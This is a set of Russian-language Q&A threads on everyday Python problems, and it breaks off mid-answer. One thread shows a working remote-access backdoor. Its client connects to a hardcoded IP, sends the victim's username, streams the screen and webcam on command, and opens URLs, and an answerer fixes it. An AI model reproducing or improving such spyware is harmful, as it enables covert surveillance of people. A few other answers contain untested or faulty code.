Как заполнить массивы в разных процессах
Мне нужно вывести сложные расчеты массивов в разные процессы. Но у меня не получается получить доступ к массиву в самой функции процесса. Можно подробнее, как это сделать.

from multiprocessing import Process
import numpy as np

nambers = [1, 2]
a1 = []
a2 = []
print(a1, a2)

def print_func(namber):
    if namber == 1:
        a1 = np.random.random(50)
    if namber == 2:
        a2 = np.random.random(50)

procs = []

for namber in nambers:
    proc = Process(target=print_func, args=(namber,))
    procs.append(proc)
    proc.start()

for proc in procs:
    proc.join()

print('после', a1, a2)

P.S. Всем спасибо за ответы! От себя добавлю, как решение ниже, код с использованием очередей:

from multiprocessing import Process, Queue
import numpy as np

a1 = []
a2 = []
print('до', a1, a2)

def print_func(q):
    q.put(np.random.random(50))

procs = []

for i in range(0, 2):
    q = Queue()
    proc = Process(target=print_func, args=(q, ))
    procs.append(proc)
    proc.start()
    if i == 0:
        a1 = q.get()
    if i == 1:
        a2 = q.get()

for proc in procs:
    proc.join()

print('после', a1, a2)

Для синхронизации между процессами можно использовать объект
Manager.

from multiprocessing import Process, Manager
import numpy as np

def print_func(namber):
    global first_array
    global second_array
    if namber == 1:
        a1 = np.random.random(50)
        first_array += a1
    if namber == 2:
        a2 = np.random.random(50)
        second_array += a2

if __name__ == '__main__':
    procs = []
    with Manager() as manager:
        first_array = manager.list()
        second_array = manager.list()

        numbers = [1, 2]
        for number in numbers:
            proc = Process(target=print_func, args=(number,))
            procs.append(proc)
            proc.start()

        for proc in procs:
            proc.join()
        print(first_array)
        print(second_array)

Тут вы регистрируете менеджер
with Manager() as manager: и создаете 2 массива к которым можно будет обращаться из любого процесса. Это лишь один из вариантов, подробнее в документации. Но в вашем случае это кажется излишнем, правильнее, на мой взгляд, будет вернуть значение из процесса.


Сокращение больших чисел с плавающей запятой до формата 12.342M или 1.023B в python
Пытаюсь написать функцию, что получает на вход длинное или не очень число и возвращает это же число, но сокращенное до формата, что указан в заголовке вопроса.
К примеру функция получает число 2 454 232, а возвращает его же, но в формате 2.454m.
Или 123 456 789 012 будет приведено к 123.456b.
Т.е. выводятся перые знаки числа(будь то 1, 10, 100 миллионов), затем ставится точка или запятая и после выводятся 3 последующие знака, будь то 001, 011, 111 или вообще 000(хотя возможно в ситуации с 000 можно было бы просто выводить первое число без точки, но это не так критично).
У меня получилось сокращение числа до самых первых первых знаков, чтобы выводилось к примеру 2m или 133b, но реализовать тысячные или миллионные после запятой у меня не выходит.
Знает ли кто то как можно дополнить функцию, чтобы она корректно работала и возвращала числа после запятой?
Заранее спасибо за ответ.
'''
<code>
def shorten_number(number_to_shorten):
    str_number_to_shorten = str(number_to_shorten)
    if len(str_number_to_shorten) > 9 and len(str_number_to_shorten) <= 12:
        return str_number_to_shorten[:-9] + "B"

    elif len(str_number_to_shorten) >= 7 and len(str_number_to_shorten) <= 9:
        return str_number_to_shorten[:-6] + "M"

    else:
        return number_to_shorten
</code>
'''

Могу предложить такой вариант, но есть изъян.

def shorten_number(number_to_shorten):
    postfixes = ['m', 'b', ] # постфиксы для сокращенных чисел
    briefer_nums = [10**k for k in range(6, 6+3*len(postfixes), 3)] # список наших делителей
    for i in reversed(range(len(postfixes))):
        if number_to_shorten >= briefer_nums[i]:
            num = number_to_shorten/briefer_nums[i]
            return f'{num:.3f}{postfixes[i]}'

Собственно, изъян следующий: при попытке сократить число
123 456 789 012 получаем не
123.456b, а
123.457b из-за того, как работает округление.

Избавился от "изъяна"

def shorten_number(number_to_shorten):
    postfixes = ['m', 'b', ] # постфиксы для сокращенных чисел
    briefer_nums = [10**k for k in range(6, 6+3*len(postfixes), 3)] # список наших делителей
    for i in reversed(range(len(postfixes))):
        if number_to_shorten >= briefer_nums[i]:
            num = number_to_shorten / briefer_nums[i]
            int_part = int(num)
            float_part = str(num - int_part).split('.')[1][:3]
            return str(int_part) + '.' + float_part + postfixes[i]

Небольшая оптимизация расхода памяти и выделения целой и дробной частей:

def shorten_number(number_to_shorten):
    postfixes = ['m', 'b', ] # постфиксы для сокращенных чисел
    briefer_num = (10**(len(postfixes)+1))**3
    for i in reversed(range(len(postfixes))):
        if number_to_shorten >= briefer_num:
            num = number_to_shorten / briefer_num
            int_part, float_part = str(num).split('.')
            return int_part + '.' + float_part[:3] + postfixes[i]
        briefer_num //= 1000


Непрерывное выполнение кода в цикле pygame при единичном нажатии клавиши
Пишу простенькую игру на pygame, что будет подкидывать монету при нажатии на пробел и выдавать рандомно один из двух цветов.
По какой то причине при нажатии пробела код видимо не понимает, что надо остановиться и моментально после выдавания мне одной стороны монеты, сразу начинает выдавать следующую и делает это с огромной скоростью до тех пор, пока я не отпущу пробел.
В чем может быть дело?
<code>

    while carryOn:
        screen.blit(bg, (0, 0))
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                carryOn = False

            # Coin Square
            coin = pygame.draw.rect(screen, GREEN, [250, 150, 200, 200], 0)

            # Text inside of the first square
            firstTextSize = pygame.font.SysFont('Comic Sans MS', 40)
            firstText = screen.blit(firstTextSize.render('click here', True, (0, 0, 0)), (260, 215))

            # Coin flip
            key = pygame.key.get_pressed()
            if key[pygame.K_SPACE]:
                flip = random.randint(0, 1)

                if flip == 0:
                    coin = pygame.draw.rect(screen, RED, [250, 150, 200, 200], 0)

                else:
                    coin = pygame.draw.rect(screen, BLUE, [250, 150, 200, 200], 0)

</code>

По идее при нажатии на пробел код не должен уходить в такое бесконечное выполнение как у тебя.
Не знаю в чем точная проблема, но можешь попробовать сделать выполнение кода по нажатию мышью на квадрат.
Тут проблем таких точно не должно быть
<code>

    while carryOn:
        screen.blit(bg, (0, 0))
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                carryOn = False

            coin = pygame.draw.rect(screen, GREEN, [250, 150, 200, 200], 0)

            firstTextSize = pygame.font.SysFont('Comic Sans MS', 40)
            firstText = screen.blit(firstTextSize.render('click here', True, (0, 0, 0)), (260, 215))

            if event.type == pygame.MOUSEBUTTONUP:
                pos = pygame.mouse.get_pos()

                if 0 < pos[0] < 0 and 0 < pos[1] < 0: #введи сюда координаты монеты по x y. У тебя в коде не указаны координаты
                    flip = random.randint(0, 1)

                    if flip == 0:
                        coin = pygame.draw.rect(screen, RED, [250, 150, 200, 200], 0)

                    else:
                        coin = pygame.draw.rect(screen, BLUE, [250, 150, 200, 200], 0)

</code>


Как сократить полное ФИО в python
Я сделал фикцию которая сокращает полное ФИО.
ФИО - Иванов Иван Петрович
Результат  - Иванов И.П.
Функция:

n = ФИО
parts = n.split(' ')
name = (parts[0] + ' ' + parts[1][0] + '.' + parts[2][0] + '.')

К примеру в одной строке (ячейки) находится 2 (два) полных ФИО.
Как построить функцию чтобы она сокращала (работала) с одним и с двумя ФИО?
ФИО:

Жуковский Иван Петрович
Сидоров Николай Петрович, Петрова Марина Николаевна

Ожидаемый результат:

Жуковский И.П.
Сидоров Н.П., Петрова М.Н.

Так для одного имени:

user_name = 'Иванов Иван Иванович'
user_name_list = user_name.split(' ')
print(f'{user_name_list[0]} {user_name_list[1][0:1]}.{user_name_list[2][0:1]}.')

А так для списка имен:

users = ['Жуковский Иван Петрович', 'Сидоров Николай Петрович', 'Петрова Марина Николаевна']
change_users = []
for name in users:
    cache = name.split(' ')
    change_users.append(f'{cache[0]} {cache[1][0:1]}.{cache[2][0:1]}.')

print(*change_users)


Как завершить предыдущую функцию из schedule?
сегодня в руки попался огромный проект. У меня там возник ступор с schedule. Я сейчас не буду приводить код оттуда, потому что он реально огромный. Я написал простой код, чтобы вы немного поняли о чем я.
<code>
import schedule
import time
from threading import Thread

def printing(num):
    print(num)

def schedule_checker():
    while True:
        schedule.run_pending()
        time.sleep(1)

while True:
    num = input("")
    schedule.every(2).seconds.do(lambda:printing(num))
    sch = Thread(target=schedule_checker)
    sch.start()
</code>
Тут просто бесконечно можно вводить числа, после этого будет выполняться каждые 2 секунды функция которая выводит то число которое мы ввели (будет выполняться в отдельном потоке). Думаю вы сами поняли код и без моего глупого объяснения. Проблема тут в том, что если я введу к примеру в первый раз 1, то все ок, 1 будет выводиться каждые 2 секунды. Если же я введу к примеру 5, то первая функция (вывод числа 1) не прекратится. Так же и в моем проекте, мне необходимо ЗАВЕРШАТЬ предыдущую функцию. Чтобы всегда работала лишь одна.

поток проверки шедулера стартуйте заранее один раз, у вас сейчас получается каждый раз создаётся ещё один дополнительный поток проверки, это лишнее
расписание можно, например, чистить полностью
можно ещё печатать содержимое текущего расписания, чтобы убедиться, что там ровно один джоб:

sch = Thread(target=schedule_checker)
sch.start()

while True:
    num = input("")
    schedule.clear() # чистка всего расписания
    schedule.every(2).seconds.do(lambda:printing(num))
    print(schedule.jobs) # печать текущего расписания

А вообще в вашем примере можно даже не чистить расписание. Поскольку вы печатаете одну и ту же переменную, можно просто менять эту переменную, и всё. А расписание запустить один раз. И всё будет работать. Будет печататься самое последнее введённое в
num значение:

sch = Thread(target=schedule_checker)
sch.start()

while True:
    num = input("")
    if not schedule.jobs:
        schedule.every(2).seconds.do(lambda: printing(num))


Получение выборки из таблицы по нескольким условиям pandas/numpy
Есть таблица в формате csv, из неё нужно получить количество значений удовлетворяющих условию: в столбце TARGET равные нулю и в столбце значения MIP > 82, но меньше 84.
Такое выражение не работает:
<code>
report[report.TARGET == 0] & report[report.MIP >= 82] & report[report.MIP <= 84]
</code>
Как сделать выборку по нескольким значениям?

Лично я предпочитаю использовать "SQL-подобный" DataFrame.query(), потому, что код получается коротким и легкочитаемым:
<code>
res = report.query("""TARGET == 0 and 82 <= MIP <= 84""")
</code>


Значение url переместить в другой python файл
Я делаю BackDoor на python, мне нужно что бы при вводе ссылки у себя, у удалённой машины открывался сайт который я введу, но у меня возникает во такая ошибка:
webbrowser.open(url, new=1)
NameError: name 'url' is not defined
Server.py:

from vidstream import *
from colorama import init, Fore
import socket
import os

init()

local_ip_address = socket.gethostbyname(socket.gethostname())
socket_port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((local_ip_address, socket_port))
s.listen(5)

client, addr = s.accept()
network_name = client.recv(1024).decode("utf-8")

print(f"[+] {addr[0]} ({addr[1]}) | {network_name}")

server = StreamingServer(local_ip_address, 9999)
server.start_server()
print("[~] The server was successfully connected")

while True:
    cmd = input(f"{Fore.GREEN}{addr[0]}@{network_name}~#{Fore.RESET}{Fore.LIGHTGREEN_EX} ")

    if cmd == "screen":
        client.send(cmd.encode("utf-8"))
    elif cmd == "webcam":
        client.send(cmd.encode("utf-8"))
    elif cmd == "cls":
        os.system("cls")
    elif cmd == "website":
        url = input('Введите ссылку: ')
        client.send(cmd.encode("utf-8"))

CLIENT.PY:

from vidstream import *
import socket
import getpass
import webbrowser

host = "26.169.92.35"
socket_port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, socket_port))

s.send(str(getpass.getuser()).encode("utf-8"))

while True:
    cmd_data = s.recv(1024).decode("utf-8")

    if cmd_data == "screen":
        screen = ScreenShareClient(host, 9999)
        screen.start_stream()
    elif cmd_data == "webcam":
        camera = CameraClient(host, 9999)
        camera.start_stream()
    elif cmd_data == "website":
        webbrowser.open(url, new=1)

Предлагаю такое решение:
server.py

...
while True:
    cmd = input(f"{Fore.GREEN}{addr[0]}@{network_name}~#{Fore.RESET}{Fore.LIGHTGREEN_EX} ")

    if cmd == "screen":
        client.send(cmd.encode("utf-8"))
    elif cmd == "webcam":
        client.send(cmd.encode("utf-8"))
    elif cmd == "cls":
        os.system("cls")
    elif cmd == "website":
        url = input('Введите ссылку: ')
        client.send((cmd + ' ' + url).encode("utf-8")) # <---

client.py

...
while True:
    cmd, data = s.recv(1024).decode("utf-8").split(' ') # <---

    if cmd == "screen": # <---
        screen = ScreenShareClient(host, 9999)
        screen.start_stream()
    elif cmd == "webcam": # <---
        camera = CameraClient(host, 9999)
        camera.start_stream()
    elif cmd == "website": # <---
        webbrowser.open(data, new=1) # <---


Не получается перевести строку в байты
Я зашифровал слово с помошью библиотеки pyaes, получился такой набор байтов - b'\xdfm\xfdsw\xdc?\x8f\xb00\xb5%\x13\x03\x1d\x11Gf\xc0l\x00\x99s\xd2\xf2\xb4\x16]\x08\xbe\xd5\xd6\xb8\x81\x84\xdbN\x81\x17V\xa5\xa4\xc4\x0b\xe0\xa0\x08\x97\xbfc\xa3b2\xe2q?[=\xc2*.Y@\xe6\xbc\x99o\xc25\xf3\xc4\xa7\xca\&\xc2tOh(H7\x89'
По задумке пользователь должен скопировать данный текст и потом вставить в дешифровщик, но при вводе это уже будет строка, при попытке сделать опять в байты получается вот так - b"b'\xdfm\xfdsw\xdc?\x8f\xb00\xb5%\x13\x03\x1d\x11Gf\xc0l\x00\x99s\xd2\xf2\xb4\x16]\x08\xbe\xd5\xd6\xb8\x81\x84\xdbN\x81\x17V\xa5\xa4\xc4\x0b\xe0\xa0\x08\x97\xbfc\xa3b2\xe2q?[=\xc2*.Y@\xe6\xbc\x99o\xc25\xf3\xc4\xa7\xca\\&\xc2tOh(H7\x89'"
как можно это исправить?
я использую .encode('utf-8')

Отрезать обрамление и закодировать в
latin-1.

s = "b'\xdfm\xfdsw\xdc?\x8f\xb00\xb5%\x13\x03\x1d\x11Gf\xc0l\x00\x99s\xd2\xf2\xb4\x16]\x08\xbe\xd5\xd6\xb8\x81\x84\xdbN\x81\x17V\xa5\xa4\xc4\x0b\xe0\xa0\x08\x97\xbfc\xa3b2\xe2q?[=\xc2*.Y@\xe6\xbc\x99o\xc25\xf3\xc4\xa7\xca\&\xc2tOh(H7\x89'"

result = s[2:-1].encode('latin-1')

Но вообще будет проще, если пользователю выдавать hex-строку (
bytes(...).hex()), а при вводе делать обратное преобразование (
bytes.fromhex()).


Как сделать редирект на страницу пользователя после успешного сохранения новой записи в блоге в Django
В моем проекте в Джанго есть форма создания новых постов в блоге:

class PostForm(forms.ModelForm):
    class Meta:
        model = Post
        fields = ('text', 'group')
        group = forms.ModelChoiceField(queryset=Post.objects.all(),
                                       required=False, to_field_name="group")
        widgets = {
            'text': forms.Textarea(),
        }

        labels = {
            "group": "Группа",
            "text": "Текст"
        }

Также есть вью-функция:

# Страница для создания новой записи
def post_create(request):
    groups = Group.objects.all()
    form = PostForm(request.POST or None, files=request.FILES or None)
    context = {
        'groups': groups,
        'form': form,
    }
    if form.is_valid():
        form.instance.author = request.user
        form.save()
        return redirect**('здесь должен быть адрес на редирект')**
    return render(request, 'posts/create_post.html', context)

Ну и path из файлика urls.py с адресом страницы нового поста:

path('create/', views.post_create, name='post_create')

По заданию, после успешного создания нового поста должен быть редирект на страницу профайла залогиненного пользователя.
И вот не могу я понять, как именно прописать такой редирект? Какой параметр передать в строку  return redirect, чтобы подхватилось имя пользователя?

Зависит от того, какой ендпоинты в вашем urls.py вернет на страницу автора.
urls.py

app_name = "posts"

urlpatterns = [
     path("<str:username>/", views.profile, name="profile"),
]

views.py

redirect('posts:profile', request.user.username)

Примерно так.
Eсли у вас использовано app_name в url.py
иначе
redirect('profile', request.user.username)


Найти такую пару чисел, в которой оба числа чётные, а сумма наибольшая. Вывести сумму
На вход подаётся число N, а затем N натуральных чисел в строчку. Записать их в массив. Найти такую пару чисел, в которой оба числа чётные, а сумма наибольшая. Вывести сумму.
Была идея записывать чётные значения в новый массив и там уже суммировать элементы, но вышел провал.
<code>
N = int(input())
number = [int(i) for i in input().split()]
even = [int(i) for i in number if i % 2 == 0]
for j in range(N-1):
for i in range(N-1):
    print(even[i]+even[i+1])
</code>

Заведите переменные max1, max2
Пройдите по списку. Если число x четное, то проверяете, не больше ли оно, чем max2. Если да, то проверяете ещё, не больше ли оно, чем max1. Если да, то

max1, max2 = x, max1

иначе

max2 = x


Проверка числа на одинаковость [закрыт]

Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.

 Учебные задания допустимы в качестве вопросов только при условии, что вы пытались решить их самостоятельно перед тем, как задать вопрос. Пожалуйста, отредактируйте вопрос и укажите, что именно вызвало у вас трудности при решении задачи. Например, приведите код, который вы написали, пытаясь решить задачу

Закрыт 2 года назад.

                        Улучшить вопрос

Как реализовать проверку числа на одинаковость. Например нужно узнать состоит какое то трёхзначное число из одинаковых чисел или из разных.

Будем считать, что в образовательных целях:
№1

value = input()
print(len(set([i for i in value]))==len(value))

№2

print(min(*input().split()))


Как сделать так, чтобы бот реагировал на два префикса?
Мне нужно чтобы бот реагировал на префикс Ok и префикс Okay
<code>
import random
from discord.ext import commands

bot = commands.Bot(command_prefix='Ok ')

@bot.command()
async def ping(ctx):
    await ctx.send('pong')

bot.run('TOKEN')
</code>

Ты спокойно можешь использовать массив для префиксов
<code>
import random
from discord.ext import commands

bot = commands.Bot(command_prefix=['Ok ', 'Okay '])

@bot.command()
async def ping(ctx):
    await ctx.send('pong')

bot.run('TOKEN')
</code>


Vk Api: Проблема с ботом
Вечер добрый! Столкнулся с такой проблемой: бот отвечает на сообщение вызывающее команду вместо последующего. Нагляднее покажу далее.

        def blasthack(id, text):
            bh.method('messages.send', {'user_id' : id, 'message' : text, 'random_id': 0})

        for event in longpoll.listen():
            if event.type == VkEventType.MESSAGE_NEW:
                if event.to_me:

        message = event.text.lower()
        id = event.user_id

        if message == 'название команды':

            blasthack(id, 'Введите любое что-то там')

            text = message

            blasthack(id, 'Текст: ' + text)

            blasthack(id, 'типо текст')

Тут бот отвечает не на текст который вводит пользователь после активации команды, а на саму команду.
Привожу пример:
Я: название команды
Бот: Введите любое, что-то там
Бот: Текст: отзыв
Надеюсь понятно, объяснил.
Это первое. Второе, при добавлении в if оператор or - происходит интересная хренотень.
То есть:

 if message == 'тест' or 'test':
        blasthack(id, 'тест test')
 else:
        messages = ['Прости, я тебя не понял!', 'Ой, не расслышал, можешь повторить?', 'Я не
        знаю это слово можешь перефразировать?']
        msg_fail = random2.choice(messages)
        blasthack(id, msg_fail )

Что-же выдаёт мне бот:
Я: тест
Бот: тест test
Я: test
Бот: тест test
Я: йгнапунгвфып
Бот: тест test ( вместо блока else )
P.s: знаю, что пишу максимально тупо и глупо, но после тяжёлого дня уже сил нет нормально и качественно всё расписывать, сел за дебаггинг и чуть не сдох. Надеюсь на помощь и желаю терпения тем кто откликнется на данный вопрос :)

Проблема в условии
if. Попробуйте так:

if message == 'тест' or message == 'test':


Цикл в python в одну строку
Помогите с кодом, не могу разобраться как сделать перебор списка циклом в одну строку
Суть: нужно в командную строку передать следующее:

['44c703adea2b463f8feda2b87454c4e8.1.jpg', '44c703adea2b463f8feda2b87454c4e8.2.jpg', '44c703adea2b463f8feda2b87454c4e8.3.jpg', '44c703adea2b463f8feda2b87454c4e8.4.jpg', '44c703adea2b463f8feda2b87454c4e8.5.jpg', '44c703adea2b463f8feda2b87454c4e8.6.jpg', '44c703adea2b463f8feda2b87454c4e8.7.jpg', '44c703adea2b463f8feda2b87454c4e8.8.jpg', '44c703adea2b463f8feda2b87454c4e8.9.jpg', '44c703adea2b463f8feda2b87454c4e8.avi', '44c703adea2b463f8feda2b87454c4e8.jpg']

Нужно, чтобы перечесление элементов из списка было через плюс, пример:

44c703adea2b463f8feda2b87454c4e8.1.jpg + 44c703adea2b463f8feda2b87454c4e8.2.jpg + 44c703adea2b463f8feda2b87454c4e8.3.jpg

и так далее.
В инете нашел информацию только вывод построчно. А нужно одной строкой, благодарю за помощь.
upd.:
Нужно в одну строку, чтобы это прогнать в командную строку:

s = " + ".join(data)
os.system('copy ' + s + ' check.bin')

Проблема, что теперь выдает ошибку:

Traceback (most recent call last):
  File "C:/Users/PilotDrowa/PycharmProjects/pythonProject/main.py", line 22, in <module>
    returned_output = subprocess.check_output(cmd) # returned_output содержит вывод в виде строки байтов
  File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\lib\subprocess.py", line 411, in check_output
    **kwargs).stdout
  File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\lib\subprocess.py", line 488, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\lib\subprocess.py", line 800, in __init__
    restore_signals, start_new_session)
  File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python37_64\lib\subprocess.py", line 1207, in _execute_child
    startupinfo)
FileNotFoundError: [WinError 2] Не удается найти указанный файл

a = ['1.jpg', '2.jpg', '3.jpg']

В строковую переменную в нужном виде можно записать так:

s = " + ".join(a) # Получаем значение: '1.jpg + 2.jpg + 3.jpg'

Сразу вывести на экран так:

print(*a, sep=' + ') # На экран выведет: 1.jpg + 2.jpg + 3.jpg


list.pop() работает не так как нужно
Вот код:

x = [1,2,3]
y = x
y.pop(1)
print(x)

Мне в программе нельзя менять список
x, и чтобы производить разные метаморфозы (например list.pop()), я копирую его в переменную
y, но когда я удаляю элемент из списка
y, он также удаляется и в
x. Код выше выводит в консоль
[1,3], хотя задумывалось что будет выводиться
[1,2,3]. Как это исправить?

Нужно присвоить
y копию списка
x. А вы ссылаетесь
y на тот же объект в памяти, что и
x.

x = [1,2,3]
y = x.copy()
y.pop(1)
print(x)


Проблема с threading и multiprocessing в python
Есть готовый код, который запускает командную строку и выполняет операции, попутно логирует их.
Пытаюсь настроить threading python для более быстрой и оптимизированной работы, но при указании параметра ничего не меняется.
Код приложил. Может подскажет какие параметры прописать.

import threading
from multiprocessing.pool import ThreadPool as Pool
import argparse
import requests
import os

parser = argparse.ArgumentParser()
parser.add_argument(
    "-t",
    "--threads",
    help="amount of threads (default: 1000)",
    type=int,
    default=100,
)

args = parser.parse_args()

lock = threading.Lock()

def main():
    with lock:
      ...

if __name__ == "__main__":
    if not getInternet():
        print(bcolors.RED + "No internet connection")
    makeDir()
    threads = args.threads
    pool = Pool(threads)
    for _ in range(10):
        pool.apply_async(main)
    pool.close()
    pool.join()

Если я правильно понимаю, то собственно эта блокировка не даёт выполнять
main более чем одному процессу одновременно, каждый следующий заходящий в
main процесс ждёт, пока предыдущий процесс отпустит блокировку:

def main():
    with lock:
      ...

В результате у вас выполнение процессов получается последовательное, а не параллельное, и естественно никакого ускорения не происходит от того, что вы запустили много процессов.
Блокировка должна делаться только в так называемых
критических областях кода, которые не должны выполняться одновременно, чтобы не нарушить целостность данных. В остальное время выполнения кода блокировку делать не следует, если вы хотите, чтобы код выполнялся параллельно. Блокировок должно быть как можно меньше и они должны быть как можно более кратковременными, если вы хотите достичь какого-то ускорения вообще. Нужно помнить, что есть ещё расходы на организацию многопоточности или многопроцессности и в каких-то случаях эти расходы могут перекрыть и даже превысить всю выгоду от параллельного выполнения кода.


Могу я создать exe файл из Python кода в котором записываются текстовые файлы?
Могу я создать exe файл из Python кода в котором записываются текстовые файлы? Создал программу которая собирает из сайта цены на товар и записывает их в файл , при этом сравнивает новые цены со старимы и обновляет весь список. Программа хорошо работает в Pycharm , но при конвертации в exe выдает ошибку что не видит файла с ценами .Конвертировал через pyinstaller. Помогите это устранить пожалуйста.

В папку с exe файлом попробуй кинуть txt файлы, в которые записываются цены


Итерация элементов вложенных списков посредством индексов
Подскажите, пожалуйста, как быть при данной конструкции.
Есть некий список с вложенными списками. Вложенных списков может быть любое количество:

[[10,2,4,12], [1,2,56,10], [1,13,25,78]]

Каждый вложенный список должен сравнивать свои индексы 0 и 1 с индексами 0 и 1 других вложенных списков и вне зависимости от их местоположения внутри основного списка.
Если значения индекса 1 совпадает, а значение индекса 0 не совпадает, тогда добавить списки в новый список
all = []
Есть лаконичные решения этого вопроса, кроме как использовать словари? Знаний написать грамотные костыли нет. Библиотека itertools не подойдет?
UPD Решений подобного характера ожидается много, поэтому если разжуете, буду очень признателен.

В данном случае подойдёт итератор
itertools.combinations если вам нужно пробежаться по всем парам вложенных списков без учёта перестановки списков внутри пары, или
itertools.permutations если учёт важен.
К примеру:

import itertools

a = [[10,2,4,12], [1,2,56,10], [1,13,25,78]]

for element1, element2 in itertools.combinations(a, 2):
    print(element1,element2)
'''
[10, 2, 4, 12] [1, 2, 56, 10]
[10, 2, 4, 12] [1, 13, 25, 78]
[1, 2, 56, 10] [1, 13, 25, 78]
'''

Или:

import itertools

a = [[10,2,4,12], [1,2,56,10], [1,13,25,78]]

for element1, element2 in itertools.permutations(a, 2):
    print(element1, element2)
'''
[10, 2, 4, 12] [1, 2, 56, 10]
[10, 2, 4, 12] [1, 13, 25, 78]
[1, 2, 56, 10] [10, 2, 4, 12]
[1, 2, 56, 10] [1, 13, 25, 78]
[1, 13, 25, 78] [10, 2, 4, 12]
[1, 13, 25, 78] [1, 2, 56, 10]
'''

Затем можно сравнить индексы 0 и 1 пар списков, и работать дальше. В вашем случае:

import itertools

a = [[10,2,4,12], [1,2,56,10], [1,13,25,78]]

for element1, element2 in itertools.combinations(a, 2):
    tupleInd = list(zip(element1, element2))

    index0 = tupleInd[0] # Кортеж, содержащий первые элементы двух списков
    index1 = tupleInd[1] # Кортеж, содержащий вторые элементы двух списков

    if index0[0] != index0[1] and index1[0] == index1[1]:
        print(element1, element2) # [10, 2, 4, 12] [1, 2, 56, 10]

        #do stuff...

При заданном
a проходит только пара списков
[10, 2, 4, 12] [1, 2, 56, 10], так как
10 != 1 и
2 == 2.


Не пойму, почему возникает ошибка "TypeError: 'int' object is not callable" [закрыт]

Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.

 Вопрос вызван проблемой, которая больше не воспроизводится, или опечаткой. Хотя похожие вопросы могут быть уместны на этом сайте, решение для этого вопроса вряд ли поможет будущим посетителям. Обычно можно избежать подобных вопросов написанием и исследованием минимальной программы для воспроизведения проблемы до публикации вопроса.

Закрыт 2 года назад.

                        Улучшить вопрос

<code>
def highest_palindrom(min = 100, max = 999):
    palindroms = []
    for a in range(min, max + 1):
        for b in range(min, max + 1):
            palindrom = a * b
            palindrom = str(palindrom)
            res = []
            for n in range(len(palindrom) // 2):
                if palindrom[n] == palindrom[-n - 1]:
                    res.append(True)
                else:
                    res.append(False)
            if False not in res:
                palindrom = int(palindrom)
                palindroms.append(palindrom)
    print(palindroms)
    print('Наибольший палиндром в промежутке', 'от', min ** 2, 'до',
          max ** 2, 'равен', max(palindroms))
</code>
Ошибка в 'max(palindroms)'.
Вроде, нет каких-то затененных переменных, но никак не могу понять.

Питон не различает, где функция, где обычная переменная, для него все имена имеют единое пространство. Поэтому когда вы что-то присваиваете переменной
max, то при последующем вызове встроенной функции
max питон про эту функцию уже ничего не знает, на её месте лежит то, что вы присвоили в переменную
max, поэтому и возникает такая ошибка. Просто не называйте свои переменные/функции/классы именами встроенных функций/классов питона - и не будет никаких проблем.

max ** 2, 'равен', max(palindroms))
^^^                ^^^

Здесь вы одновременно обращаетесь к
max как к числу и как к функции. В Питоне такое не прокатит.


Изменить столбец с датами в датафрейме по условию
Исходный датафрейм:

 ID    date             amount
  1    2018-09-03 17:00:00  7282.5
  2    2018-09-05 11:00:00  7111.0
  3    2018-09-08 10:00:00  6448.0
  4    2018-09-10 18:00:00  6377.0
  5    2018-09-15 14:00:00  6376.5

На вход получаю список праздничных дней

holydays = [3, 4, 10, 11, 12, 13]
Нужно получить:

 ID    date                 amount
  1    2018-09-05 17:00:00  7282.5
  2    2018-09-05 11:00:00  7111.0
  3    2018-09-08 10:00:00  6448.0
  4    2018-09-14 18:00:00  6377.0
  5    2018-09-15 14:00:00  6376.5

То есть если дата попадает на праздник, ее нужно изменить на следующую после праздников.
Пытался так:

df.loc[df['date'].dt.day.isin(holydays),
           'date'] = df['date'] + datetime.timedelta(days=1)

И так:

for x in df['date']:
    while x.day in holydays:
        x = x + datetime.timedelta(days=1)

Во втором варианте похоже чего-то не хватает...

Поскольку воспроизводимые данные не представлены, пишу код без проверки. Код не оптимальный, но должен работать по идее:

while True:
    df_holydays_mask = df['date'].dt.day.isin(holydays)
    if not holidays_mask.any():
        break
    df.loc[df_holydays_mask, 'date'] = \
        df.loc[df_holydays_mask, 'date'] + datetime.timedelta(days=1)

Суть - пока в
df есть праздничные дни, берём эти дни и увеличиваем все скопом на 1.
Но вообще по-хорошему праздники должны быть привязаны к полной дате, а не только к дню месяца, несколько странно у вас, что просто день берётся.


Используя вложенный list comprehension, сформировать двумерный список [закрыт]

Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.

 Учебные задания допустимы в качестве вопросов только при условии, что вы пытались решить их самостоятельно перед тем, как задать вопрос. Пожалуйста, отредактируйте вопрос и укажите, что именно вызвало у вас трудности при решении задачи. Например, приведите код, который вы написали, пытаясь решить задачу

Закрыт 2 года назад.

                        Улучшить вопрос

Используя вложенный list comprehension, сформируйте двумерный список, представляющий следующую квадратную таблицу чисел размером 4 х 4: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Результат выведите на экран.
То есть чтобы был формат:
<code>
[[1, 2, 3, 4][5, 6, 7, 8]и тд.]
</code>

[[i, i+1, i+2, i+3] for i in range(1,4*4,4)]

или

[list(range(i, i+4)) for i in range(1,4*4,4)]

или

[[j for j in range(i, i+4)] for i in range(1,4*4,4)]

или

[[j+i*4 for j in r] for i,r in enumerate([[1,2,3,4]]*4)]


как работает for loop в python
Подскажите пожалуйста "guitar" является переменной или это строка?
Если она является переменной то почему я не могу придать ей новое значение и изменить список таким способом?
Я знаю как решить эту задачу другим способом, но не могу понять почему данный способ не работает.
<code>
guitars = ['phil pro', 'epiphone', 'gibson']

for guitar in guitars:
    guitar = 'electric ' + guitar
    # print(guitar) -- если выводить отсюда, то все выводится как мне надо, но список при этом не изменяется

print(guitars)

output:
['phil pro', 'epiphone', 'gibson']
</code>

guitar - это переменная. На каждой итерации в ней оказывается содержимое очередного элемента списка. Для простоты восприятия считайте, что это копия. И когда вы присваиваете новое значение этой переменной, то это значение присваивается только ей, и никуда больше.
В этом можно удостовериться самостоятельно:

guitars = ['phil pro', 'epiphone', 'gibson']

for i, guitar in enumerate(guitars):
